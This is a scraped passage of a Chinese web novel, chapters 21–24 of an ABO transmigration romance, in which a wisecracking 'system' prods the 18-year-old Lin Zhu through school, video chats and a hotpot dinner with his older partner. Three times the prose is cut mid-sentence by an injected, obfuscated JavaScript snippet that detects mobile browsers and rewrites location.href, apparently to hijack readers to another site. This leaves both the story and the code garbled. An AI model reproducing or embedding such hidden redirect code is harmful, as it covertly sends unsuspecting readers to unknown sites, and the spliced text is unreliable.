【任务详情:经‘任务判定’子系统检测,主系统‘N001’存在如下违规操作:绑定不合格宿主、放任且诱导宿主消极对待任务、暴力攻击‘任务判定’子系统致使检测失误……】 【总结报告:主系统‘N001’仍存在消极情绪,如濒危世界012任务失败,则将‘N001’召回总局进行第二次全面清扫。】 【现处理方案如下:强制主系统‘N001’更新版本并安装‘人设同步’子系统,该子系统仅在扮演任务过程中获得‘自动启动’权限,协助宿主充分理解NPC的人物逻辑,以此弥补人设重合率过低的缺陷。】 …… 系统空间内。 看完报告书的N001瞥了眼在角落里不敢动弹的蓝光小球,即‘任务判定’子系统,凉凉地道了声:“哟嚯,你这个小细作,趁我不注意跟总局告状了?” 子系统:【……】 N001在宿主面前唯唯诺诺,在子系统面前重拳出击,两副面孔无缝切换,此时俨然恶婆婆附身,每一个标点符号里都塞满了阴阳怪气, “喝喝,又送来另一个子系统,你也算有个伴了,恭喜哦。” 子系统:【…………】 一瞬间,程序产生了大量冗余。 N001退出系统空间,第一次在自家宿主面前显出数据流躯体。 一个泛着白光的圆形小球从金发少年的前额钻了出来,在半空中悬停了一会儿,然后飞落在窗台边。 可惜林逐此时已经陷入了深度睡眠,完全没察觉系统的出现。 祂圆圆胖胖的身体看起来很软乎,趴在窗台上的时候好似一团化了的白糖年糕。 这是总局的系统光球默认皮肤。 只是其他光球都是蓝色的,只有N001是白色的。 小白球系统透过窗帘的缝隙望着外头的雨景,然后很忧愁地回头看了一眼蜷缩而眠的宿主。 其实,祂跟宿主说谎了。 祂不是实习统,而是……问题统。 系统后台中。 ‘人设同步’安装包正在强制执行,进度条走得缓慢,一时半会儿肯定安装不完,但N001的心情仍旧很差劲,甚至很想再次暴打‘任务判定’子系统一顿。 子系统:【……请主系统‘N001’冷静。】 系统:“冷你妈。” 子系统:【……冷静。】 系统:“静你妈。” 系统呵呵冷笑: “等死吧,你这个小细作。” 子系统:【………………】 冗余、冗余、 怎么都清理不完的冗余。 21. Chapter 21 清晨,六点整。 林逐准时准点地睁开了双眼。他的生物钟很固定,无论是高一还是高三,雷打不动都是这个点醒,比闹钟还要灵敏。 他醒来后的第一件事,是捞过枕头边上的手机,打开微信看了一眼。 严若筠的微信头像置顶在最上方。 林逐指尖一滑,戳进了两人的聊天界面。 其实总共就两条聊天记录。 昨晚两人在睡前互道了一句‘晚安’,然后就没了。 林逐捏着手机,思考要不要主动给严若筠发一句‘早安’,又怕他还没有起床……吵到人休息就不好了。 他边想着,边下了床。 打开窗。 屋外湿凉的空气一股脑地扑过来。 林逐这才发现昨夜居然下了一场小雨。 天空碧蓝如洗,小区里的绿化覆盖率很高,大片的枝桠间悬曳着清透的雨露,被初升的日光照得璀璨明耀,一阵风晃过,便忽闪忽闪地在叶间跳动。 风景好,天气也好。 林逐走到阳台边,将手肘杵到栏杆上,深深地吸了一口气。再低头一看,猛然发现严若筠的聊天界面上显示着‘对方正在输入……’ 下一秒。 手机震了两下,对方的头像旁接连冒出气泡框。 【严若筠:这么早就醒了?】 【严若筠:等你输入好半天了,想说什么?】 林逐抿了抿唇,垂着脑袋在手机键盘上飞快打字,完全没有发觉自己的嘴角正微微上扬着。 【林逐:没什么,就是想说声,早安。】 对面再次显示‘正在输入……’,但他等了好一会儿,也没等到严若筠的信息,刚想发个问号过去,那边就来消息了。 ——严若筠给他发了一张自拍照。 说是自拍照,其实镜头里的人压根没露脸。 照片中的环境昏暗,男人穿着浅灰色的睡衣侧卧在床上,大半张脸埋进了枕头里,最大程度地露出后颈部位,现出仍旧肿胀的腺体。 腺体上印着的两圈咬痕一部分重合,另一部分错开,犬齿的痕迹格外深重,让这片皮肤看上去很凄惨,仿佛饱受蹂躏。 【严若筠:等下要去公司,可能要换大型号的阻隔贴才能遮住。】 林逐反手摸了摸自己的后颈,不知道是不是Alpha体质的问题,他的腺体恢复得很快,非但没有肿胀,连咬痕都淡了许多。 他很不好意思地打出两个字:【抱歉。】 刚发过去,对面就抛来一句, 【严若筠:你呢?】 林逐回了句‘我没事’,然后反手盲拍了一张后颈的照片发过去,主动报备道:【我待会儿也要去上学了。】 【严若筠:真这么乖?】 林逐的视线在那个‘乖’字上停留了好几秒,面上蓦然发热,手上动作却不停:【……嗯,答应你了。】 严若筠没有再回复。 因为他直接打了个视频过来。 中高层的阳台很安静,四周只有清脆的鸟鸣,手机铃声的音量突兀且响亮,让林逐不由得手忙脚乱了起来。 他先是扒拉了两下睡乱的头发,然后摸了摸眼角确认脸上很干净,才接通了视频,小声地打了声招呼:“早,严、呃……严先生?” 一句话,卡了几次带。 主要是他不知道该怎么称呼严若筠,叫‘严先生’好像显得很生疏,但两人的年龄差距不小,直接喊名字的话…… 会不会太不知天高地厚了? 林逐心里很纠结,眉头微微皱起,没有注意到手机前置镜头角度偏俯视,让他看上去极不耐烦,仿佛积压了满满的起床气,快要爆炸的样子。 这时候,手机听筒传来几声低低的笑声。 视频中,严若筠似乎也刚醒不久,正从床上坐起来,起身往盥洗室走去。他身上的灰色睡衣领口宽松,遮不住笔直的锁骨,还露出大片前胸的肌肤。 环境由暗转明。 林逐沉默地看着视频中的男人站在盥洗池前,将手机放到前方架子上,冲着镜头说了句:“你这么喊我,显得我们特别不熟。” 确实。 林逐顿了顿,略带试探地喊出两个字。 “……若筠?” 视频里,男人正闭眼擦干脸上的水渍,闻言忍不住又笑了起来。 他上身斜斜地靠着墙,颈侧弧度纤长,“我被我爸妈这么喊了二十多年,怎么换成你,就觉得特别奇怪?” “啊,我知道了……”男人想了想,找到了原因,“可能是你比我小太多了,我读高中的时候,你才刚上小学。” 林逐沉默了片刻,反问:“那我要怎么喊你?” 严若筠刚洗过脸,睫毛结成簇,五官显得尤其水润透光。他盯着视频那头略显无神的少年,眉梢一挑,提议道:“你随便喊几声,我听听看?” 林逐艰难地点头:“……哦。” 如果这是校园恋情,两人简单地互称名字就可以了,但他跟严若筠的社会身份截然不同,年龄与阅历差距又大。林逐冥思苦想许久,最后慢吞吞地喊了声, “——哥?” 话音刚落,视频那头陷入寂静。 严若筠的表情先是有些古怪,很快又回味过来, “你再喊一声试试?” 林逐很听话,从善如流地唤人:“哥。” 就见视频里,男人一手举着手机,另一手似无意地摸了摸耳垂,自言自语地低语:“嗯,听起来还是有点别扭。” 其实林逐觉得还好,但还是问了句:“那要再换一个吗?” 严若筠放下手:“算了,就这样吧。” 林逐老老实实地‘哦’了一声,然后安静地看着视频里的男人洗漱,打理自己。 期间两人时不时地闲聊两句,偶尔对视一眼,明明没说什么限量级的话题,难以言喻的暧昧却莫名溢满而出…… 几分钟后。 男人出了盥洗室,来到衣帽间。 他选好了今天要穿的商务套装,冲镜头说道:“我要换衣服了。” 林逐回神,很快应道:“哦,那我挂了?” 在他按下红色挂断键之前,忽然听严若筠慢悠悠地说了句:“不用,我把手机倒扣就好了,你接着说吧。” 刚才两人聊到上学的事情。 不知怎么的,林逐下意识地挠了挠脸,将视线从黑下来的视频通话界面移开,眺着远处的人工湖景,继续道: “我打算申请从出国预科班转到普通班,参加国内高考。” 他就读的私立贵族学校开设了一个面向出国留学的预科班,里面都是家里有钱但成绩不好,寄希望于出国镀金的学生。 班级里人数不多,拢共就不到二十个。 林逐就是其中之一。 手机听筒传出一阵悉悉索索的衣料摩挲声,在林逐说完后骤然停了下来,接着便是男人的说话声,语气郑重。 “林逐,我只是不想你像以前一样随便混日子,你确定现在转到普通班能跟上进度吗?” “我不想刚交往就给你这么大压力。” 前几天还是个在役高三考生的林逐不觉得压力大,只是避免不了重读高三的疲倦……不过想到这里是ABO世界,学科方面可能跟现实世界有所差异,林逐又有点好奇了。 他摸着鼻子,应道:“我有考虑清楚,先试试看。” 老实说,在过往的十八年中,他很少有这种跟关系亲密的人讨论自己未来的打算、计划之类的经历…… 林逐按捺住心底的新奇,又忍不住问严若筠的看法, “哥,你看呢?” 话毕,黑屏的视频界面重新出现画面。 严若筠翻转过手机,将其摆在了自己面前的架子上, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13695240|144406||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然后一边对着镜子打领带,一边说:“想试就试吧,大不了我抽时间给你补习。” 林逐:“……” 应该不至于吧? 他从小到大都没上过补习班,学习成绩依旧名列前茅。 林逐又想起原著里有写过,严若筠十九岁就以极其优异的成绩从国内某top学府毕业,紧接着就是空降严氏,这么多年来一直忙碌于工作,将家族企业经营得更上一层楼。 他的履历比大多数人都要辉煌。 这样的人,居然说要帮他补习…… 林逐摸了摸鼻子,提前拒绝道:“不用了,你不是工作很忙吗?”话里话外,一点儿也没怀疑严若筠只是随便一说,或者是逗自己玩儿的。 严若筠瞅了他好几眼,发现少年的表情相当认真,便改口道:“好吧,那你自己加油。要是表现得好,我就给你奖励。” 林逐没听过这种话,只觉得耳根又软又烫,忍不住问道:“什么奖励?” …… 直到挂断电话,林逐才从暗下来的屏幕看清自己的表情——下垂眼仍旧厌世无神,总是不自主抿成一条直线的嘴角却挂上了一丝很轻的笑,让他看上去没那么不良了。 聊天界面显示他跟严若筠视频的时间。 居然聊了快要半个小时?? 林逐震惊,第一次知道自己居然还能这么话唠,忽然就理解以前见过的那些动辄煲一两个小时电话粥的校园情侣了。 他放下微微发烫的手机,也开始洗漱换衣服。 不得不说,渣男前夫哥是真的不怎么上学,林逐在衣柜里翻了半天,才从最角落里翻出私立贵族中学的校服。 这套校服跟林逐曾经穿的宽大蓝白杠校服没有一点相似之处,而是墨蓝色的西装制服,胸前口袋处手工缝制了校名与校徽。 虽然找到了校服,但林逐翻了许久,也没有找到书包跟课本,记忆中更是没有半点印象,只好空手出了门。 十五分钟后。 林逐站在校门口,忽然陷入沉默。 ……嗯,本来以为高考结束了,他才染了个颜色夸张的发色,结果眼一睁一闭,他又回到了高三生涯的前期。 可头发还是黄的。 要剪掉吗? 这个念头刚一闪过,林逐蓦然想起那场惨烈不已的车祸。 ……还是算了吧。 一年之内。 他都不想要靠近理发店了。 好在经过他的观察,被豪车送来的男男女女学生中不少人都烫染过头发,只是颜色没有他那么扎眼。 走进校门时,保安也只是见怪不怪地瞥了他一眼,没有把人拦下来。 林逐艰难地从回忆中搜寻着教室的位置,找了好半天,才成功找到出国预科班的位置。 教室里人不多,但说笑吵闹声的分贝很高,乱哄哄地缠成一团。穿着贵族学校制服的少男少女个个光鲜亮丽,桌上摆着手机、游戏机、化妆品,却很少看到课本。 林逐默不作声地从后门进去,朝某个后排靠墙的空座位走去。 两人一排的座位已经坐了另一个男生。 林逐看不出他是什么性别,只是在后门看到他戴着一副眼镜,全程头也不抬专注看书的模样,似乎很爱学习的样子……? 对方的抽屉里也塞满了书。 林逐想跟对方借一下课本,看看ABO世界的高中课本跟他原来的世界有什么不同。 于是,他走近后,很礼貌地问了一句, “同学,我能坐里面吗?” 话音刚落,他就看到男生将手上的书本合起来,露出两个衣着暴露的男性|交缠在一起的彩色封面。 封面中央是一行排版过的艺术字体: 《惹哭清冷学神的一百种方式》 林逐:“………………” 系统暗戳戳地冒头:“啊,是小说呢。” 22. Chapter 22 “同学,我能坐里面吗?” 正沉迷于狗血小说的黄灿然耳边突然响起这么一句话。 说话的人嗓音略微低哑,听着有些摇滚范儿,但语气非常客气,最重要的是——声源距离他非常近。 于是黄灿然下意识地循声望了过去,没想到映入眼帘的是一张瞧着蔫坏蔫坏的脸。 单眼皮,眼尾下垂。 瞳孔似乎比寻常人小一圈儿,眼白过多让他看上去分外乖张不逊…… 最重要的是,他还染了一头夸张的金发。 黄灿然第一眼就觉得这人眼熟,第二眼瞥过手上的小说封面,忍不住震惊地举起书册,放在来人的面前,视线一左一右地来回移动,好像在确认着什么。 “卧槽——!” “我的纸片人穿到现实了?!” 听着戴眼镜男生的震撼发言,林逐陡然陷入沉默:“……” 首先,这句吐槽应该由他来说吧? 其次,刚才那惊鸿一瞥,林逐眼尖地发现封面上其中一个人物跟自己的外形极为相似。 比如……那张不良厌世脸,那头明晃晃的金发,以及过于尖利、显得尤为野性的犬齿。 小说封面是竖版双人构图。 跟他长得很像的那个人正将另一位穿着白衬衫的清冷男性抵在墙角,并以很强势的姿态反扣住对方的双手,让其动弹不得。 而白衬衣男则面容薄红,眼角蹙满了泪,表情中充满了茫然与无法逃脱的绝望……画面跟书名相映衬着,完美地凸显了该小说主题。 系统用嗑瓜子的街坊邻居口吻道: “诶,这位小同学很有品位嘛,一看就是校园ABO,学霸x学神,还是强取豪夺题材……啧啧啧,相当刺激。” 林逐再次痛苦面具,仿佛梦回昨日阅读原著光屏的那一刻,数不清的尾气疯狂地往他脸上甩,把他打得灰头土脸。 字里行间俨然写着半部刑法。 ……ABO世界,真的是很超前的艺术。 - 经过这么一打岔,林逐最终还是顺利地落了座,并莫名其妙地获得了新同桌的大量好感度。 “原来你就是那个点名总不在的幽灵同学?”黄灿然手捧着书,偏头跟同桌搭话,“牛,难得来上一次课,书包跟课本都不带……话说你家是给学校捐了多少钱啊?” 后面那句话并非讽刺,反而充满了佩服的意味。 林逐:“……” 其实他也不想空手。 奈何巧妇难为无米之炊啊。 新同桌戴着一副黑框眼镜,瞧着安静话少,其实都是假象。他是个逗比性格,又格外话唠,聊起狗血小说就说个没完没了。 末了,还想把自己的心头好推荐给林逐。 林逐默默婉拒:“不用了,能借你的课本看一下吗?” “你慢慢看呗。”对方很好说话,大手一挥就从课桌抽屉的最里面掏出一摞崭新的课本,“反正这些教材我们都不怎么用得上的,又不需要高考。” 林逐草草翻了一遍,发现主科教科书里的内容跟他的原世界相差无几,还是熟悉的知识点,熟悉的配方。 他几乎能倒背如流。 系统跟女鬼一样,安静了许久,声音突然不知道从那口井里钻出来: “宿主,你翻开生物课本看看呗,说不定有惊喜。” 听到这话,林逐心里已经有点不好的预感,但还是依言照做了。 问就是,他也好奇。 林逐一页页翻过去,常年面瘫的脸八风不动,直至翻到很后面,看到讲述Omega生理结构与如何受孕分娩的章节…… 林逐的表情终于稳不住了,逐渐裂开。 课本里不仅仅是文字科普,一旁还彩印了详细的Omega生殖腔与孕腔的器官结构解剖图,以及腺体的发育过程。 图下还有一行小字备注: 【男性Omega的生殖腔通常比女性Omega的生殖腔隐藏得更深,因此男性Omega的受孕率更低。】 林逐顿时感觉自己好似一个绝望的文盲,每个字都认识,但放在一起看却只能迷惑地说出那句响亮的至理名言。 “……啊???” 系统是见过大场面的统,用很安心的语气安抚道:“宿主不用担心这个,不管藏得多深,按照你的身体数据肯定没问题哒!” 祂的发言让林逐深深地感受到什么叫做‘因为不够变态而跟这个世界格格不入’。 在原世界中,他不是没有接触过生理知识科普,但当下的教育环境注定了这种科普是含蓄而内敛的。 除此之外,他也看过那种片子,只是看过两三次后就觉得索然无味了。 只不过是两具肉|体交缠运动罢了。 彼此没有爱,只是性。 林逐发自内心地觉得:看过了也就那样,闲着没事干还不如多刷两套题。 眼下,虽然这个书中世界跟他的原世界结构相似,但多出了ABO这一设定,直接给整个社会蒙上了一层动物性的野蛮色彩。 ——每个月固定的发情期,易感期,需要人们通过舔咬或性行为来疏解,最不济也是靠抑制剂应付。 这也就导致了生活在ABO社会中的人们,对人体生理与亲密行为的认知十分普及深入,也更加直白外放。 再加上,高中时期横跨了少年16-18岁的三年青春期,或早或晚,学生们会在成年之际会经历二次分化,性征将完全发育成熟…… 因此,在生物课本上详细科普标记、受孕、与分娩方面的知识,也成了相当重要且合理的事情。 林逐理解、林逐接受、但林逐感到困惑。 男人怀孕生子,在他的概念里是绝不可能的事情。但在ABO世界中却变成了默认的常识性客观事实。 他不可避免地想到了严若筠。 只是脑海中刚浮现男人的身影,班主任就恰好踩着高跟鞋从教室前门走进来,打断了他的思绪, “同学们,该上课了。” 班主任是个三十来岁的女性,抱着一摞外语教材站在多媒体讲台后面,刚抬眼,视线就被底下那颗扎眼的金色脑袋吸引了过去,一下子忘了自己接下来要说什么。 “……林逐?” 她对这个常年不出现,只见过几面的学生印象很深——高一入学时分配在普通班,只是没几个月就跟班里几个同学闹了矛盾,很快便转到了出国预科班里。 这两三年一直处于半请假半旷课状态,很少见到人。 随着这声‘林逐’,班里所有人齐刷刷地转头看向林逐。 他同桌为了摸鱼看小说,选的座位是靠墙最后一排,因此林逐一瞬间就看清了所有同学的脸,以及众人陌生又好奇的目光。 对于他们而言,林逐是个幽灵同学,尽管没怎么接触过,却总是听说他的桃色传言,尤其最近在网络上流传甚广……不由得升起了现场吃瓜的念头。 林逐在几十只眼睛的注视下,默默站起身,冲台上的班主任弯了弯腰,很礼貌地打了个招 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13695241|144406||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 呼:“范老师。” 然后又默默坐下。 在记忆里搜刮了一圈的林逐,暗自松了一口气。 幸好,幸好。 除了台上的老师,整个出国预科班里没有跟渣男前夫哥相熟的人,他不用处理角色背景下的人际关系,自由发展就好。 主要是,这个预科班的招生对象大多是家里有些钱但没有底蕴的学生,而跟林家同一个阶层的家族对后代的要求都很严格,自小培养教育,就算放松了对年幼孩子的管教,也不至于差到哪里去。 俗话说得好—— 阶级越高的人,对后代的要求就越高。 比如严家,严若筠。 不知怎么的,林逐的脑子拐了几个弯,又想到了那个人。 一节课的时间很快。 下课后,林逐前后脚跟着班主任出了教室,跟她说了自己想要申请调班的事情。 班主任的表情很惊讶,不解地问:“你怎么突然想要转到普通班呀?预科班跟普通班教学目的不同,教材也不同,这都高三了……” “不成,不成的。”她摇摇头,“就算我同意,你跟得上普通班的学习进度吗?距离国内高考只有八九个月了,你可不能想一出是一出啊!” 站在班主任的角度,她的劝告句句在点上。 但林逐知道自己是怎么回事。 因此接下来一整天,他不止找了班主任一次,而是每节课下课都去教工办公室里等人,就这么忙活到放学时间,终于得到了一个确切的答案。 “这样吧,我跟年级这边商量过了,”班主任神情严肃地告诉他,“再过一个月就是期中考了,你要是能考进年级前200名,学校就同意你转到普通班。” 这所私立贵族高中的生源不比其他公立学校,按人数比例来算,前200名的要求也不算太严苛。 林逐已经翻过课本,自觉没什么问题,很干脆地点了点头:“麻烦你了,范老师。到时候出成绩了我再来找您。” 等人走远了,班主任才慢半拍地收回视线,忍不住跟旁边的科任老师感叹道:“天,我这个学生……怎么觉得今天才认识他呢?” 总觉得,像是大变活人一样。 旁边的老师年级比她大许多,头发都半白了。他带过的学生不计其数,看人的眼光毒辣老练,此时正捧着保温杯,笑吟吟地应道:“年轻人嘛……” “按照我的经验来看,大概率是谈恋爱了。” “哈哈,许教授经验丰富啊!” “前几届那个市状元不就是为了……” 听到两人对话的教师们一边收拾东西准备下班,一边跟着聊起了学生的趣事。 办公室里笑声一片。 而林逐,则是抱着自己新领的整套课本往校门口走去。 此时夕阳西下。 黄昏烧得只剩下半点余温。 他踩着自己的影子越过大门,正要向左转弯,往住所的方向走,余光里陡然闯进一抹浓艳的红。 那抹红比天边云霞还要夺目灿然,好似一团跳动的火焰,将林逐空泛无聊的眼眸逐渐填满光亮。 他看到严若筠坐在那辆熟悉的红色法拉利驾驶座里,车窗半降,只露出半截脸。 那双桃花眼藏在朦胧的暗影中,在林逐看过来的时候忽然弯了起来,好像在说—— “……” 林逐听不清了。 风声从他耳边掠过。 他两手合抱着沉甸甸的课本,脚步轻盈地朝那里小跑过去。 23.Chapter 23 林逐没想到严若筠会来接自己放学,直到坐上副驾驶座还有些反应不过来,扭头看了他好几眼,忍不住问道:“你怎么来了?” 严若筠先是让他把腿上那一摞书放到后座,随即挑了挑眉,反问道:“不欢迎?” 林逐连忙摇头:“没有,你不是在微信上说最近很忙吗?” 男人仍旧是贵气十足的西装打扮,稍显不同的是,他今天将额发梳到脑后,还做了定型,只是工作了一天发丝略为凌乱松散,有几缕不听话地垂落到眉尾位置,破坏了那股仿佛精致到不可侵犯的气质。 却又尽显成熟魅力。 “过几天还得出差,更没空了。”严若筠颔了颔首,“不过今晚带你去吃个饭的时间还是有的。” 林逐扣好安全带,期待又好奇地问:“吃什么?” “看你想吃什么,”严若筠的车技很好,方向盘一打就拐了出去,“除了鱼,我没什么忌口。” 他特别讨厌腥气,鱼类是半点不碰的。 林逐想了想,问:“那你能吃辣吗?” “我有点想吃火锅……”他抿了抿唇,犹豫着说出了自己的想法,只是不知道严若筠会不会喜欢这种极具烟火气的食物。 毕竟是要在一个锅里夹菜的。 没想到他话音刚落,严若筠便应了声:“行,我知道一家火锅店还不错,开车十几分钟就到了。” 林逐偏头看他,有些惊喜地道:“你也喜欢吃火锅?” 严若筠刚要开口作答,忽而想起了什么,又把原来的话咽了下去,只是点了点头,笑着说:“嗯,挺巧的。” 这个点是下班高峰期,路上略微拥堵。 十来分钟的车程延长到接近半个小时,两人才抵达目的地。 林逐先下了车,好奇地打量了一圈周围的环境。 他本以为严若筠推荐的地方会是某个干净高档的商圈美食会场,怎么都没想到对方会将车开到看着年岁不知几何的老街区。 他跟着严若筠拐进街巷里,在胡同小道中七拐八绕,最后停伫在一家临街的中式火锅店门前。 店面是一整栋二层小酒楼,门上挂了一块古黑色的牌匾—— 老院子火锅。 光是站在外头,鲜香麻辣的香气就已经扑面而来,闻起来很有百年老店的味道,让人不住地口齿生津。 严若筠似乎是这里的常客,他一进门,前台的招待员便热情地招呼道:“严先生您来了,还是老样子吗?” 林逐跟在男人身后,听到他说:“对,两个人,老位置。” 招待员熟练地开单,可视线扫到他身后的金发少年,疑惑地随口问了句,“咦,今天不是跟那位……?” “嗯,这回带我弟弟过来。”对方话没说完,严若筠便状似随意地应了一句,然后伸手拉着林逐的手腕,熟门熟路地把人往二楼带。 木梯发出轻微的‘咯吱咯吱’响声。 林逐落后严若筠几节楼梯,视线刚好落到两人交握的地方。 男人的手指颀长骨感,刚好握在林逐没有被西装校服袖子盖住的、接近于手掌的部位,蜷起来的指尖好巧不巧地扣住了少年的掌心…… 只要林逐收拢手指,便能将他的指尖彻底包裹起来。 - 严若筠所说的老位置,是二楼靠窗的一间小包厢。 包厢并不隔音,只用竹雕卷帘做了隔断,起到一个遮挡视线的作用,周遭食客的谈笑声与火锅烧热了发出的咕嘟咕嘟声从四面八方涌过来。 听起来很热闹,也很有烟火气。 在这种氛围里用餐,似乎更让人有食欲了。 雕花窗柩朝外大开。 两人临窗面对面坐着。 林逐主动揽过烫洗碗筷的餐前工作,同时看到底下坐着等位的一排顾客,疑惑问道:“我们不用预约排队吗?” 这家火锅店的生意确实很好,简直座无虚席。 严若筠坐在他对面,正将扣到最上面的扣子松开两粒,露出半截笔挺的锁骨,“因为我是半个老板啊。” “老板当然有特权了。”他冲少年轻轻一笑。 林逐将烫好的一副碗筷先递给对面的人,表情有些难绷。 ……真的假的?? 严氏集团最初以房地产起家,后来涉猎的行业愈发多样,旗下子公司包括但不限于:娱乐媒体行业、新兴科技等高端产业…… 但现在,严若筠告诉林逐,他还是一家火锅店的老板? 还只是半个?? 思及此处。 林逐脑中灵光一闪,下意识地问出了口:“另一个老板……是林修杰吗?” 他想起自己似乎看过相关片段。 小说中后期,林修杰陪着康复期的严若筠散心游玩,几次回到两人年少时一起留下过回忆的地方,其中似乎就有提到过这家火锅店? 只是着墨不多,一笔带过,导致林逐现在才想起来。 严若筠倒了两杯麦茶,端了一杯放到林逐的面前,轻轻地‘嗯’了一声,紧接着又问:“你怎么知道的?” 林逐抿了抿唇:“我猜的。” 严若筠笑笑,故意问他:“介意啊?” 早在少年的信息素匹配度报告摆上严家案头之前,严若筠就知道这个人——他跟林修杰是从小一起长大的朋友,对方偶尔会跟自己提起这个同父异母的弟弟。 只是这牵扯到上一代的感情纠葛,所以他很少搭腔。 全程仅是静默听着。 而在做下跟林逐试着交往的决定后,严若筠彻底回忆了一遍这些年通过各个途径听说过的,关于林逐的事情。 抛开那些AO桃色流言,外界传得最多的就是他的身世,还时常把他跟林修杰扯在一起……在这种压抑的成长环境中,少年估计对那位同父异母的兄长没什么好心思。 严 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13702425|144406||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 若筠原本是这样想的。 然而,在他几次提到自己跟林修杰的婚约之时,他发现林逐并没有表现出憎恶、嫉妒之类的负面情绪,反而瞧着有些回避……? 综合少年各个方面的表现来看,严若筠心里有些想法。 林逐话不多,性格带有回避倾向,似乎很不擅长应对亲密关系,对此表现得很生疏,在某些方面……显得不太自信。 他没等林逐回答自己介意还是不介意,自顾自地说了下去:“读高中的时候,我跟林修杰第一次逃课,跑出来吃午饭……就是在这里。” “高中毕业那天,我们也是来这里吃饭,喝了点酒,就兴冲冲地一人出了一半的钱,把这家店买下来了。” 此后不久,他进入二次分化期,很快被诊断出致命缺陷,跟林修杰还处在萌芽期间的朦胧好感也因此打住。 两人各退一步,没有再往下发展。 “前两个月我还跟他来过一次,”严若筠喝了口茶,接着说,“那天不知道他是不是又喝多了,居然开玩笑说,要是我找到了对象,必须带人过来吃顿饭,他得帮我掌掌眼……” 林逐听得一愣一愣的。 窗外的云霞早就烧干净了,只剩下些许暗淡的紫光流连在天际边不肯离去。素白的月亮挂在墨蓝与黯紫的交界处,看着孤单又寥落。 楼下不知发生了什么趣事,骤然响起一阵高亢的说笑声,叽里呱啦地热闹极了。这声响被夜风抬上了半空,送到两人耳畔。 天上孤寂,地上吵闹。 男人放下了茶杯,竹雕卷帘在店内空调的吹拂下微微晃动,从间隙透过来的强光时不时从他身上晃过,让人不由得目眩恍然。 林逐只觉得他的声音从自己耳边飘过。 听不真切。 倏然间吭,严若筠伸出食指轻轻勾了一下茶杯的边缘,使得陶釉茶杯底盘不稳,发出‘吭——’的一声。 里面仅剩三分之一的茶水晃了晃。 一滴都没有撒出来。 他掀起眼皮,直勾勾地盯着对面的金发少年,又一次笑出了小酒窝,“我当时…当时好像这样骂了他一句:神经病,我要是有对象,还带你这个电灯泡干嘛?” “林逐。” 严若筠唤了一声。 林逐下意识地应道:“嗯。” 紧接着,他就听严若筠说:“用不着别人替我掌眼,我喜欢的——就是最好的。” 听到这话,林逐忽然觉得口干舌燥,连忙端起刚刚严若筠给自己倒的茶水,猛灌了一口。 只是他还没来得及咽下去,系统就突然在他脑子里炸起了烟花,并恨铁不成钢地催促道: “宿主,你这个缺心眼子!” “这么浪漫的时候喝什么水啊?!” “还不快冲上去,按住主角,狠狠啵他的嘴啊——!!!” …… 林逐登时呛得一口水喷了出来。 24.Chapter 24 都怪系统老是发表这种爆炸性言论,害得林逐冷不丁出了个丑,萦绕在两人之间的暧昧气息也随之一滞。 严若筠神色不改,微笑着给他递了张纸巾,并亲切地叮嘱道, “小心一点。” 林逐却蓦然后背一凉。 如果他脑子里有警示铃,此时大概已经泛着红光,发出哔呜哔呜的尖锐警告了—— 果不其然。 下一瞬,严若筠上身凑近,像是打量着什么珍惜动物一样,目光一寸寸地从林逐脸上扫过,很好奇地问了句, “林逐,你究竟是怎么做到……每一次都在恰到好处的时候把气氛破坏掉的?” 林逐手忙脚乱地擦脸擦桌子,支支吾吾地说不出个所以然来,最后只好满脸麻木地道出实情: “……可能是因为,我脑子里有脏东西吧?” 话音刚落。 寄居在他意识深处的系统不满地举旗抗议,吱哇乱叫个不停, “宿主,这是统生攻击!人家可是靠谱的前夫哥扮演系统!再说了……你又不肯走渣男强制路线,那肯定要努力让主角爱上你,才能达成结婚小目标嘛!” 不先结婚,后面还怎么离婚? 前夫哥,前夫哥,当然是得先成为老公才能进化成前老公呀! 一步一个脚印,稳扎稳打! 林逐:“……” 今天也想一键查询系统的精神状态。 得到回答的严若筠不知道想到哪里去了,表情古怪地盯了他好一会儿,忽然问道:“有多脏?” 林逐一时间没反应过来,忍不住隐晦地吐槽系统:“……真的特别脏,总感觉自己随时会被警察抓走。” 不知道是不是总在严若筠面前丢脸的缘故,他现在都快脱敏了,下限仿佛被一步步拉低,感觉接下来无论发生什么事,他都不会轻易破防了…… 过了一分多钟。 严若慢慢移开视线,上身重新靠回椅背,拉开了两人之间的距离。 他将手肘支在窗框边,掌心撑着下颌,而后用指尖在唇角一下下地点着,漫不经心地应了声, “那倒不至于,就算我们之间发生点什么,也都是合法的。” 这时候,林逐的脑回路才猛地转过弯来,一秒解读了严若筠的言外之意…… 啊啊啊。 他该不会以为自己满脑子都是关于他的颜色废料吧?! 